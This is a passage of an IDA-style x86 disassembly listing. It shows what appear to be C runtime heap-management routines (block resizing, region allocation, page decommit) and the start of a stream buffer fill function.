CODE XREF: sub_41B202+6Ap var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov ecx, [ebp+arg_0] mov eax, [ebp+arg_8] push ebx push esi push edi mov edi, [ebp+arg_4] mov edx, edi lea esi, [eax+17h] sub edx, [ecx+0Ch] mov eax, [ecx+10h] and esi, 0FFFFFFF0h shr edx, 0Fh mov ecx, edx imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [edi-4] dec ecx cmp esi, ecx mov [ebp+arg_8], ecx mov ebx, [ecx+edi-4] lea edi, [ecx+edi-4] mov [ebp+var_4], ebx jle loc_41E82E test bl, 1 jnz loc_41E827 add ebx, ecx cmp esi, ebx jg loc_41E827 mov ecx, [ebp+var_4] sar ecx, 4 dec ecx cmp ecx, 3Fh mov [ebp+var_8], ecx jbe short loc_41E6F7 push 3Fh pop ecx mov [ebp+var_8], ecx loc_41E6F7: ; CODE XREF: sub_41E680+6Fj mov ebx, [edi+4] cmp ebx, [edi+8] jnz short loc_41E747 cmp ecx, 20h jnb short loc_41E723 mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E747 ; --------------------------------------------------------------------------- loc_41E723: ; CODE XREF: sub_41E680+82j add ecx, 0FFFFFFE0h mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_8] lea ecx, [ecx+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E747 mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E747: ; CODE XREF: sub_41E680+7Dj ; sub_41E680+9Aj ... mov ecx, [edi+8] mov ebx, [edi+4] mov [ecx+4], ebx mov ecx, [edi+4] mov edi, [edi+8] mov [ecx+8], edi mov ecx, [ebp+arg_8] sub ecx, esi add [ebp+var_4], ecx cmp [ebp+var_4], 0 jle loc_41E815 mov edi, [ebp+var_4] mov ecx, [ebp+arg_4] sar edi, 4 dec edi lea ecx, [ecx+esi-4] cmp edi, 3Fh jbe short loc_41E781 push 3Fh pop edi loc_41E781: ; CODE XREF: sub_41E680+FCj mov ebx, [ebp+var_C] lea ebx, [ebx+edi*8] mov [ebp+arg_8], ebx mov ebx, [ebx+4] mov [ecx+4], ebx mov ebx, [ebp+arg_8] mov [ecx+8], ebx mov [ebx+4], ecx mov ebx, [ecx+4] mov [ebx+8], ecx mov ebx, [ecx+4] cmp ebx, [ecx+8] jnz short loc_41E803 mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_8+3], cl inc cl mov [edi+eax+4], cl jnb short loc_41E7DA cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7CD mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_41E7CD: ; CODE XREF: sub_41E680+13Dj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, edi jmp short loc_41E7FF ; --------------------------------------------------------------------------- loc_41E7DA: ; CODE XREF: sub_41E680+137j cmp byte ptr [ebp+arg_8+3], 0 jnz short loc_41E7F0 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_41E7F0: ; CODE XREF: sub_41E680+15Ej lea eax, [eax+edx*4+0C4h] lea ecx, [edi-20h] mov edx, 80000000h loc_41E7FF: ; CODE XREF: sub_41E680+158j shr edx, cl or [eax], edx loc_41E803: ; CODE XREF: sub_41E680+125j mov edx, [ebp+arg_4] mov ecx, [ebp+var_4] lea eax, [edx+esi-4] mov [eax], ecx mov [ecx+eax-4], ecx jmp short loc_41E818 ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E680+E5j mov edx, [ebp+arg_4] loc_41E818: ; CODE XREF: sub_41E680+193j lea eax, [esi+1] mov [edx-4], eax mov [edx+esi-8], eax jmp loc_41E96E ; --------------------------------------------------------------------------- loc_41E827: ; CODE XREF: sub_41E680+52j ; sub_41E680+5Cj xor eax, eax jmp loc_41E971 ; --------------------------------------------------------------------------- loc_41E82E: ; CODE XREF: sub_41E680+49j jge loc_41E96E mov ebx, [ebp+arg_4] sub [ebp+arg_8], esi lea ecx, [esi+1] mov [ebx-4], ecx lea ebx, [ebx+esi-4] mov esi, [ebp+arg_8] mov [ebp+arg_4], ebx sar esi, 4 dec esi mov [ebx-4], ecx cmp esi, 3Fh jbe short loc_41E859 push 3Fh pop esi loc_41E859: ; CODE XREF: sub_41E680+1D4j test byte ptr [ebp+var_4], 1 jnz loc_41E8E8 mov esi, [ebp+var_4] sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E872 push 3Fh pop esi loc_41E872: ; CODE XREF: sub_41E680+1EDj mov ecx, [edi+4] cmp ecx, [edi+8] jnz short loc_41E8C1 cmp esi, 20h jnb short loc_41E89D mov ebx, 80000000h mov ecx, esi shr ebx, cl lea esi, [esi+eax+4] not ebx and [eax+edx*4+44h], ebx dec byte ptr [esi] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx], ebx jmp short loc_41E8BE ; --------------------------------------------------------------------------- loc_41E89D: ; CODE XREF: sub_41E680+1FDj lea ecx, [esi-20h] mov ebx, 80000000h shr ebx, cl lea ecx, [esi+eax+4] not ebx and [eax+edx*4+0C4h], ebx dec byte ptr [ecx] jnz short loc_41E8BE mov ecx, [ebp+arg_0] and [ecx+4], ebx loc_41E8BE: ; CODE XREF: sub_41E680+214j ; sub_41E680+21Bj ... mov ebx, [ebp+arg_4] loc_41E8C1: ; CODE XREF: sub_41E680+1F8j mov ecx, [edi+8] mov esi, [edi+4] mov [ecx+4], esi mov ecx, [edi+4] mov esi, [edi+8] mov [ecx+8], esi mov esi, [ebp+arg_8] add esi, [ebp+var_4] mov [ebp+arg_8], esi sar esi, 4 dec esi cmp esi, 3Fh jbe short loc_41E8E8 push 3Fh pop esi loc_41E8E8: ; CODE XREF: sub_41E680+1DDj ; sub_41E680+263j mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [ebx+4], edi mov [ebx+8], ecx mov [ecx+4], ebx mov ecx, [ebx+4] mov [ecx+8], ebx mov ecx, [ebx+4] cmp ecx, [ebx+8] jnz short loc_41E965 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [esi+eax+4], cl jnb short loc_41E93C cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E92F mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_41E92F: ; CODE XREF: sub_41E680+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_41E961 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E680+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_41E952 lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_41E952: ; CODE XREF: sub_41E680+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_41E961: ; CODE XREF: sub_41E680+2BAj shr edx, cl or [eax], edx loc_41E965: ; CODE XREF: sub_41E680+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_41E96E: ; CODE XREF: sub_41E680+1A2j ; sub_41E680:loc_41E82Ej push 1 pop eax loc_41E971: ; CODE XREF: sub_41E680+1A9j pop edi pop esi pop ebx leave retn sub_41E680 endp ; =============== S U B R O U T I N E ======================================= sub_41E976 proc near ; CODE XREF: sub_41EC6E:loc_41EE3Dp cmp dword_43A2E0, 0FFFFFFFFh push ebx push ebp push esi push edi jnz short loc_41E98A mov esi, offset off_43A2D0 jmp short loc_41E9A7 ; --------------------------------------------------------------------------- loc_41E98A: ; CODE XREF: sub_41E976+Bj push 2020h push 0 push dword_4DC904 call near ptr 27C0000h nop mov esi, eax test esi, esi jz loc_41EAB3 loc_41E9A7: ; CODE XREF: sub_41E976+12j mov ebp, dword_4271C4 push 4 push 2000h push 400000h push 0 call ebp mov edi, eax test edi, edi jz loc_41EA9C push 4 mov ebx, 10000h push 1000h push ebx push edi call ebp test eax, eax jz loc_41EA8E mov eax, offset off_43A2D0 cmp esi, eax jnz short loc_41EA06 cmp off_43A2D0, 0 jnz short loc_41E9F6 mov off_43A2D0, eax loc_41E9F6: ; CODE XREF: sub_41E976+79j cmp off_43A2D4, 0 jnz short loc_41EA1B mov off_43A2D4, eax jmp short loc_41EA1B ; --------------------------------------------------------------------------- loc_41EA06: ; CODE XREF: sub_41E976+70j mov [esi], eax mov eax, off_43A2D4 mov [esi+4], eax mov off_43A2D4, esi mov eax, [esi+4] mov [eax], esi loc_41EA1B: ; CODE XREF: sub_41E976+87j ; sub_41E976+8Ej lea eax, [edi+400000h] lea ecx, [esi+98h] mov [esi+14h], eax lea eax, [esi+18h] mov [esi+0Ch], ecx mov [esi+10h], edi mov [esi+8], eax xor ebp, ebp mov ecx, 0F1h loc_41EA3D: ; CODE XREF: sub_41E976+E2j xor edx, edx cmp ebp, 10h setnl dl dec edx and edx, ecx dec edx inc ebp mov [eax], edx mov [eax+4], ecx add eax, 8 cmp ebp, 400h jl short loc_41EA3D push ebx push 0 push edi call sub_41B590 add esp, 0Ch loc_41EA66: ; CODE XREF: sub_41E976+112j mov eax, [esi+10h] add eax, ebx cmp edi, eax jnb short loc_41EA8A or byte ptr [edi+0F8h], 0FFh lea eax, [edi+8] mov [edi], eax mov dword ptr [edi+4], 0F0h add edi, 1000h jmp short loc_41EA66 ; --------------------------------------------------------------------------- loc_41EA8A: ; CODE XREF: sub_41E976+F7j mov eax, esi jmp short loc_41EAB5 ; --------------------------------------------------------------------------- loc_41EA8E: ; CODE XREF: sub_41E976+63j push 8000h push 0 push edi nop call near ptr 28A072Ah loc_41EA9C: ; CODE XREF: sub_41E976+4Bj cmp esi, offset off_43A2D0 jz short loc_41EAB3 push esi push 0 push dword_4DC904 nop call near ptr 27B0000h loc_41EAB3: ; CODE XREF: sub_41E976+2Bj ; sub_41E976+12Cj xor eax, eax loc_41EAB5: ; CODE XREF: sub_41E976+116j pop edi pop esi pop ebp pop ebx retn sub_41E976 endp ; =============== S U B R O U T I N E ======================================= sub_41EABA proc near ; CODE XREF: sub_41EB10+A5p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 8000h push 0 push dword ptr [esi+10h] nop call near ptr 28A072Ah cmp off_43C2F0, esi jnz short loc_41EADF mov eax, [esi+4] mov off_43C2F0, eax loc_41EADF: ; CODE XREF: sub_41EABA+1Bj cmp esi, offset off_43A2D0 jz short loc_41EB07 mov eax, [esi+4] mov ecx, [esi] push esi push 0 mov [eax], ecx mov eax, [esi] mov ecx, [esi+4] mov [eax+4], ecx push dword_4DC904 nop call near ptr 27B0000h pop esi retn ; --------------------------------------------------------------------------- loc_41EB07: ; CODE XREF: sub_41EABA+2Bj or dword_43A2E0, 0FFFFFFFFh pop esi retn sub_41EABA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EB10 proc near ; CODE XREF: sub_41EC29+3Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx push esi mov esi, off_43A2D4 push edi loc_41EB1D: ; CODE XREF: sub_41EB10+B7j cmp dword ptr [esi+10h], 0FFFFFFFFh jz loc_41EBBB and [ebp+var_4], 0 lea edi, [esi+2010h] mov ebx, 3FF000h loc_41EB36: ; CODE XREF: sub_41EB10+72j cmp dword ptr [edi], 0F0h jnz short loc_41EB77 mov eax, ebx push 4000h add eax, [esi+10h] push 1000h push eax nop call near ptr 28A072Ah test eax, eax jz short loc_41EB77 or dword ptr [edi], 0FFFFFFFFh dec dword_4DB2F4 mov eax, [esi+0Ch] test eax, eax jz short loc_41EB6C cmp eax, edi jbe short loc_41EB6F loc_41EB6C: ; CODE XREF: sub_41EB10+56j mov [esi+0Ch], edi loc_41EB6F: ; CODE XREF: sub_41EB10+5Aj inc [ebp+var_4] dec [ebp+arg_0] jz short loc_41EB84 loc_41EB77: ; CODE XREF: sub_41EB10+2Cj ; sub_41EB10+46j sub ebx, 1000h sub edi, 8 test ebx, ebx jge short loc_41EB36 loc_41EB84: ; CODE XREF: sub_41EB10+65j cmp [ebp+var_4], 0 mov ecx, esi mov esi, [esi+4] jz short loc_41EBBB cmp dword ptr [ecx+18h], 0FFFFFFFFh jnz short loc_41EBBB push 1 lea eax, [ecx+20h] pop edx loc_41EB9B: ; CODE XREF: sub_41EB10+9Aj cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_41EBAC inc edx add eax, 8 cmp edx, 400h jl short loc_41EB9B loc_41EBAC: ; CODE XREF: sub_41EB10+8Ej cmp edx, 400h jnz short loc_41EBBB push ecx call sub_41EABA pop ecx loc_41EBBB: ; CODE XREF: sub_41EB10+11j ; sub_41EB10+7Dj ... cmp esi, off_43A2D4 jz short loc_41EBCD cmp [ebp+arg_0], 0 jg loc_41EB1D loc_41EBCD: ; CODE XREF: sub_41EB10+B1j pop edi pop esi pop ebx leave retn sub_41EB10 endp ; =============== S U B R O U T I N E ======================================= sub_41EBD2 proc near ; CODE XREF: sub_41B0B1+3Ap ; sub_41B202+173p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov edx, offset off_43A2D0 push esi mov ecx, edx loc_41EBDE: ; CODE XREF: sub_41EBD2+1Cj cmp eax, [ecx+10h] jbe short loc_41EBE8 cmp eax, [ecx+14h] jb short loc_41EBF0 loc_41EBE8: ; CODE XREF: sub_41EBD2+Fj mov ecx, [ecx] cmp ecx, edx jz short loc_41EC25 jmp short loc_41EBDE ; --------------------------------------------------------------------------- loc_41EBF0: ; CODE XREF: sub_41EBD2+14j test al, 0Fh jnz short loc_41EC25 mov esi, eax mov edx, 100h and esi, 0FFFh cmp esi, edx jb short loc_41EC25 mov esi, [esp+4+arg_4] mov [esi], ecx mov esi, [esp+4+arg_8] mov ecx, eax and cx, 0F000h sub eax, ecx mov [esi], ecx sub eax, edx pop esi sar eax, 4 lea eax, [eax+ecx+8] retn ; --------------------------------------------------------------------------- loc_41EC25: ; CODE XREF: sub_41EBD2+1Aj ; sub_41EBD2+20j ... xor eax, eax pop esi retn sub_41EBD2 endp ; =============== S U B R O U T I N E ======================================= sub_41EC29 proc near ; CODE XREF: sub_41B0B1+4Dp ; sub_41B202+1D5p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_0] mov ecx, [esp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch lea eax, [eax+ecx*8+18h] mov ecx, [esp+arg_8] movzx edx, byte ptr [ecx] add [eax], edx and byte ptr [ecx], 0 cmp dword ptr [eax], 0F0h mov dword ptr [eax+4], 0F1h jnz short locret_41EC6D inc dword_4DB2F4 cmp dword_4DB2F4, 20h jnz short locret_41EC6D push 10h call sub_41EB10 pop ecx locret_41EC6D: ; CODE XREF: sub_41EC29+2Bj ; sub_41EC29+3Aj retn sub_41EC29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EC6E proc near ; CODE XREF: sub_41B202+1ACp ; sub_41B513+4Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, off_43C2F0 push edi loc_41EC7C: ; CODE XREF: sub_41EC6E+C6j mov edx, [esi+10h] cmp edx, 0FFFFFFFFh jz loc_41ED27 mov edi, [esi+8] lea ecx, [esi+2018h] mov eax, edi sub eax, esi sub eax, 18h sar eax, 3 shl eax, 0Ch add eax, edx cmp edi, ecx mov [ebp+var_4], eax jnb short loc_41ECE1 loc_41ECA7: ; CODE XREF: sub_41EC6E+6Fj mov ecx, [edi] mov ebx, [ebp+arg_0] cmp ecx, ebx jl short loc_41ECCA cmp [edi+4], ebx jbe short loc_41ECCA push ebx push ecx push eax call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov eax, [ebp+var_4] mov [edi+4], ebx loc_41ECCA: ; CODE XREF: sub_41EC6E+40j ; sub_41EC6E+45j add edi, 8 lea ecx, [esi+2018h] add eax, 1000h cmp edi, ecx mov [ebp+var_4], eax jb short loc_41ECA7 jmp short loc_41ECE4 ; --------------------------------------------------------------------------- loc_41ECE1: ; CODE XREF: sub_41EC6E+37j mov ebx, [ebp+arg_0] loc_41ECE4: ; CODE XREF: sub_41EC6E+71j mov eax, [esi+8] mov ecx, [esi+10h] lea edi, [esi+18h] mov [ebp+var_8], eax cmp edi, eax mov [ebp+var_4], ecx jnb short loc_41ED2A loc_41ECF7: ; CODE XREF: sub_41EC6E+B5j mov eax, [edi] cmp eax, ebx jl short loc_41ED16 cmp [edi+4], ebx jbe short loc_41ED16 push ebx push eax push [ebp+var_4] call sub_41EE76 add esp, 0Ch test eax, eax jnz short loc_41ED39 mov [edi+4], ebx loc_41ED16: ; CODE XREF: sub_41EC6E+8Dj ; sub_41EC6E+92j add [ebp+var_4], 1000h add edi, 8 cmp edi, [ebp+var_8] jb short loc_41ECF7 jmp short loc_41ED2A ; --------------------------------------------------------------------------- loc_41ED27: ; CODE XREF: sub_41EC6E+14j mov ebx, [ebp+arg_0] loc_41ED2A: ; CODE XREF: sub_41EC6E+87j ; sub_41EC6E+B7j mov esi, [esi] cmp esi, off_43C2F0 jz short loc_41ED49 jmp loc_41EC7C ; --------------------------------------------------------------------------- loc_41ED39: ; CODE XREF: sub_41EC6E+54j ; sub_41EC6E+A3j mov off_43C2F0, esi sub [edi], ebx mov [esi+8], edi jmp loc_41EE71 ; --------------------------------------------------------------------------- loc_41ED49: ; CODE XREF: sub_41EC6E+C4j mov eax, offset off_43A2D0 mov edi, eax loc_41ED50: ; CODE XREF: sub_41EC6E+F8j cmp dword ptr [edi+10h], 0FFFFFFFFh jz short loc_41ED5C cmp dword ptr [edi+0Ch], 0 jnz short loc_41ED68 loc_41ED5C: ; CODE XREF: sub_41EC6E+E6j mov edi, [edi] cmp edi, eax jz loc_41EE3D jmp short loc_41ED50 ; --------------------------------------------------------------------------- loc_41ED68: ; CODE XREF: sub_41EC6E+ECj mov ebx, [edi+0Ch] and [ebp+var_4], 0 mov esi, ebx mov eax, ebx sub esi, edi sub esi, 18h sar esi, 3 shl esi, 0Ch add esi, [edi+10h] cmp dword ptr [ebx], 0FFFFFFFFh jnz short loc_41ED97 loc_41ED86: ; CODE XREF: sub_41EC6E+127j cmp [ebp+var_4], 10h jge short loc_41ED97 add eax, 8 inc [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41ED86 loc_41ED97: ; CODE XREF: sub_41EC6E+116j ; sub_41EC6E+11Cj mov eax, [ebp+var_4] push 4 shl eax, 0Ch push 1000h push eax push esi mov [ebp+var_8], eax nop call near ptr 28A0899h cmp eax, esi jnz loc_41EE6F push 0 push [ebp+var_8] push esi call sub_41B590 mov edx, [ebp+var_4] add esp, 0Ch test edx, edx mov ecx, ebx jle short loc_41EDFE lea eax, [esi+4] mov [ebp+var_4], edx loc_41EDD4: ; CODE XREF: sub_41EC6E+18Ej or byte ptr [eax+0F4h], 0FFh lea edx, [eax+4] mov [eax-4], edx mov edx, 0F0h mov [eax], edx mov [ecx], edx mov dword ptr [ecx+4], 0F1h add eax, 1000h add ecx, 8 dec [ebp+var_4] jnz short loc_41EDD4 loc_41EDFE: ; CODE XREF: sub_41EC6E+15Ej mov off_43C2F0, edi lea eax, [edi+2018h] loc_41EE0A: ; CODE XREF: sub_41EC6E+1A8j cmp ecx, eax jnb short loc_41EE1A cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_41EE18 add ecx, 8 jmp short loc_41EE0A ; --------------------------------------------------------------------------- loc_41EE18: ; CODE XREF: sub_41EC6E+1A3j cmp ecx, eax loc_41EE1A: ; CODE XREF: sub_41EC6E+19Ej sbb eax, eax and eax, ecx mov [edi+0Ch], eax mov eax, [ebp+arg_0] mov [esi+8], al mov [edi+8], ebx sub [ebx], eax sub [esi+4], eax lea ecx, [esi+eax+8] lea eax, [esi+100h] mov [esi], ecx jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE3D: ; CODE XREF: sub_41EC6E+F2j call sub_41E976 test eax, eax jz short loc_41EE6F mov ecx, [eax+10h] mov [ecx+8], bl lea edx, [ecx+ebx+8] mov off_43C2F0, eax mov [ecx], edx mov edx, 0F0h sub edx, ebx mov [ecx+4], edx movzx edx, bl sub [eax+18h], edx lea eax, [ecx+100h] jmp short loc_41EE71 ; --------------------------------------------------------------------------- loc_41EE6F: ; CODE XREF: sub_41EC6E+143j ; sub_41EC6E+1D6j xor eax, eax loc_41EE71: ; CODE XREF: sub_41EC6E+D6j ; sub_41EC6E+1CDj ... pop edi pop esi pop ebx leave retn sub_41EC6E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EE76 proc near ; CODE XREF: sub_41EC6E+4Ap ; sub_41EC6E+99p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] mov edx, [ebp+arg_8] push ebx push esi mov esi, [ecx+4] push edi mov edi, [ecx] lea ebx, [ecx+0F8h] cmp esi, edx mov [ebp+var_4], edi mov eax, edi mov [ebp+arg_0], ebx jb short loc_41EEBB lea eax, [edi+edx] mov [edi], dl cmp eax, ebx jnb short loc_41EEAA add [ecx], edx sub [ecx+4], edx jmp short loc_41EEB3 ; --------------------------------------------------------------------------- loc_41EEAA: ; CODE XREF: sub_41EE76+2Bj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EEB3: ; CODE XREF: sub_41EE76+32j lea eax, [edi+8] jmp loc_41EF89 ; --------------------------------------------------------------------------- loc_41EEBB: ; CODE XREF: sub_41EE76+22j add esi, edi cmp byte ptr [esi], 0 jz short loc_41EEC4 mov eax, esi loc_41EEC4: ; CODE XREF: sub_41EE76+4Aj lea esi, [eax+edx] cmp esi, ebx jnb short loc_41EF0E loc_41EECB: ; CODE XREF: sub_41EE76+96j mov bl, [eax] test bl, bl jnz short loc_41EF01 push 1 lea ebx, [eax+1] pop esi loc_41EED7: ; CODE XREF: sub_41EE76+68j cmp byte ptr [ebx], 0 jnz short loc_41EEE0 inc ebx inc esi jmp short loc_41EED7 ; --------------------------------------------------------------------------- loc_41EEE0: ; CODE XREF: sub_41EE76+64j cmp esi, edx jnb short loc_41EF32 cmp eax, [ebp+var_4] jnz short loc_41EEEE mov [ecx+4], esi jmp short loc_41EEFA ; --------------------------------------------------------------------------- loc_41EEEE: ; CODE XREF: sub_41EE76+71j sub [ebp+arg_4], esi cmp [ebp+arg_4], edx jb loc_41EF93 loc_41EEFA: ; CODE XREF: sub_41EE76+76j mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41EF06 ; --------------------------------------------------------------------------- loc_41EF01: ; CODE XREF: sub_41EE76+59j movzx esi, bl add eax, esi loc_41EF06: ; CODE XREF: sub_41EE76+89j lea esi, [eax+edx] cmp esi, [ebp+arg_0] jb short loc_41EECB loc_41EF0E: ; CODE XREF: sub_41EE76+53j lea esi, [ecx+8] loc_41EF11: ; CODE XREF: sub_41EE76+EBj ; sub_41EE76+F2j cmp esi, edi jnb short loc_41EF93 lea eax, [esi+edx] cmp eax, [ebp+arg_0] jnb short loc_41EF93 mov al, [esi] test al, al jnz short loc_41EF63 push 1 lea ebx, [esi+1] pop eax loc_41EF29: ; CODE XREF: sub_41EE76+BAj cmp byte ptr [ebx], 0 jnz short loc_41EF53 inc ebx inc eax jmp short loc_41EF29 ; --------------------------------------------------------------------------- loc_41EF32: ; CODE XREF: sub_41EE76+6Cj lea ebx, [eax+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF43 sub esi, edx mov [ecx], ebx mov [ecx+4], esi jmp short loc_41EF4C ; --------------------------------------------------------------------------- loc_41EF43: ; CODE XREF: sub_41EE76+C2j and dword ptr [ecx+4], 0 lea esi, [ecx+8] mov [ecx], esi loc_41EF4C: ; CODE XREF: sub_41EE76+CBj mov [eax], dl add eax, 8 jmp short loc_41EF89 ; --------------------------------------------------------------------------- loc_41EF53: ; CODE XREF: sub_41EE76+B6j cmp eax, edx jnb short loc_41EF6A sub [ebp+arg_4], eax cmp [ebp+arg_4], edx jb short loc_41EF93 mov esi, ebx jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF63: ; CODE XREF: sub_41EE76+ABj movzx eax, al add esi, eax jmp short loc_41EF11 ; --------------------------------------------------------------------------- loc_41EF6A: ; CODE XREF: sub_41EE76+DFj lea ebx, [esi+edx] cmp ebx, [ebp+arg_0] jnb short loc_41EF7B sub eax, edx mov [ecx], ebx mov [ecx+4], eax jmp short loc_41EF84 ; --------------------------------------------------------------------------- loc_41EF7B: ; CODE XREF: sub_41EE76+FAj and dword ptr [ecx+4], 0 lea eax, [ecx+8] mov [ecx], eax loc_41EF84: ; CODE XREF: sub_41EE76+103j mov [esi], dl lea eax, [esi+8] loc_41EF89: ; CODE XREF: sub_41EE76+40j ; sub_41EE76+DBj imul ecx, 0Fh shl eax, 4 sub eax, ecx jmp short loc_41EF95 ; --------------------------------------------------------------------------- loc_41EF93: ; CODE XREF: sub_41EE76+7Ej ; sub_41EE76+9Dj ... xor eax, eax loc_41EF95: ; CODE XREF: sub_41EE76+11Bj pop edi pop esi pop ebx leave retn sub_41EE76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EF9A proc near ; CODE XREF: sub_41B202+19Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi movzx ecx, byte ptr [edx] push edi mov edi, [ebp+arg_0] and [ebp+var_4], 0 mov eax, ebx sub eax, [edi+10h] sar eax, 0Ch cmp ecx, [ebp+arg_C] lea edi, [edi+eax*8+18h] jbe short loc_41EFD4 mov eax, [ebp+arg_C] sub ecx, eax mov [edx], al add [edi], ecx mov dword ptr [edi+4], 0F1h jmp short loc_41F034 ; --------------------------------------------------------------------------- loc_41EFD4: ; CODE XREF: sub_41EF9A+26j jnb short loc_41F03B mov eax, [ebp+arg_C] lea esi, [edx+eax] lea eax, [ebx+0F8h] cmp eax, esi jb short loc_41F03B lea eax, [ecx+edx] loc_41EFE9: ; CODE XREF: sub_41EF9A+59j cmp eax, esi jnb short loc_41EFF7 cmp byte ptr [eax], 0 jnz short loc_41EFF5 inc eax jmp short loc_41EFE9 ; --------------------------------------------------------------------------- loc_41EFF5: ; CODE XREF: sub_41EF9A+56j cmp eax, esi loc_41EFF7: ; CODE XREF: sub_41EF9A+51j jnz short loc_41F03B mov al, byte ptr [ebp+arg_C] mov [edx], al mov eax, [ebx] cmp edx, eax ja short loc_41F02F cmp esi, eax jbe short loc_41F02F lea eax, [ebx+0F8h] cmp esi, eax jnb short loc_41F026 xor eax, eax mov [ebx], esi cmp [esi], al jnz short loc_41F021 loc_41F01A: ; CODE XREF: sub_41EF9A+85j inc eax cmp byte ptr [esi+eax], 0 jz short loc_41F01A loc_41F021: ; CODE XREF: sub_41EF9A+7Ej mov [ebx+4], eax jmp short loc_41F02F ; --------------------------------------------------------------------------- loc_41F026: ; CODE XREF: sub_41EF9A+76j and dword ptr [ebx+4], 0 lea eax, [ebx+8] mov [ebx], eax loc_41F02F: ; CODE XREF: sub_41EF9A+68j ; sub_41EF9A+6Cj ... sub ecx, [ebp+arg_C] add [edi], ecx loc_41F034: ; CODE XREF: sub_41EF9A+38j mov [ebp+var_4], 1 loc_41F03B: ; CODE XREF: sub_41EF9A:loc_41EFD4j ; sub_41EF9A+4Aj ... mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41EF9A endp ; =============== S U B R O U T I N E ======================================= sub_41F043 proc near ; CODE XREF: sub_41B11A+A9p ; sub_41BB4F+2Dp ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+0Ch] test al, 83h jz loc_41F117 test al, 40h jnz loc_41F117 test al, 2 jz short loc_41F069 or al, 20h mov [esi+0Ch], eax jmp loc_41F117 ; --------------------------------------------------------------------------- loc_41F069: ; CODE XREF: sub_41F043+1Aj or al, 1 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_41F07D push esi call sub_4239EF pop ecx jmp short loc_41F082 ; --------------------------------------------------------------------------- loc_41F07D: ; CODE XREF: sub_41F043+2Fj mov eax, [esi+8] mov [esi], eax loc_41F082: ; CODE XREF: sub_41F043+38j push dword ptr [esi+18h] push dword ptr [esi+8] push dword ptr [esi+10h] call sub_41F11C add esp, 0Ch mov [esi+4], eax test eax, eax jz short loc_41F106 cmp eax, 0FFFFFFFFh jz short loc_41F106 mov edx, [esi+0Ch] test dl, 82h jnz short loc_41F0DB mov ecx, [esi+10h] push edi cmp ecx, 0FFFFFFFFh jz short loc_41F0C4 mov edi, ecx sar edi, 5 and ecx, 1Fh mov edi, dword_4DC5C0[edi*4] lea edi, [edi+ecx*8] jmp short loc_41F0C9 ; --------------------------------------------------------------------------- loc_41F0C4: ; CODE XREF: sub_41F043+6Bj mov edi, offset dword_43C950 loc_41F0C9: 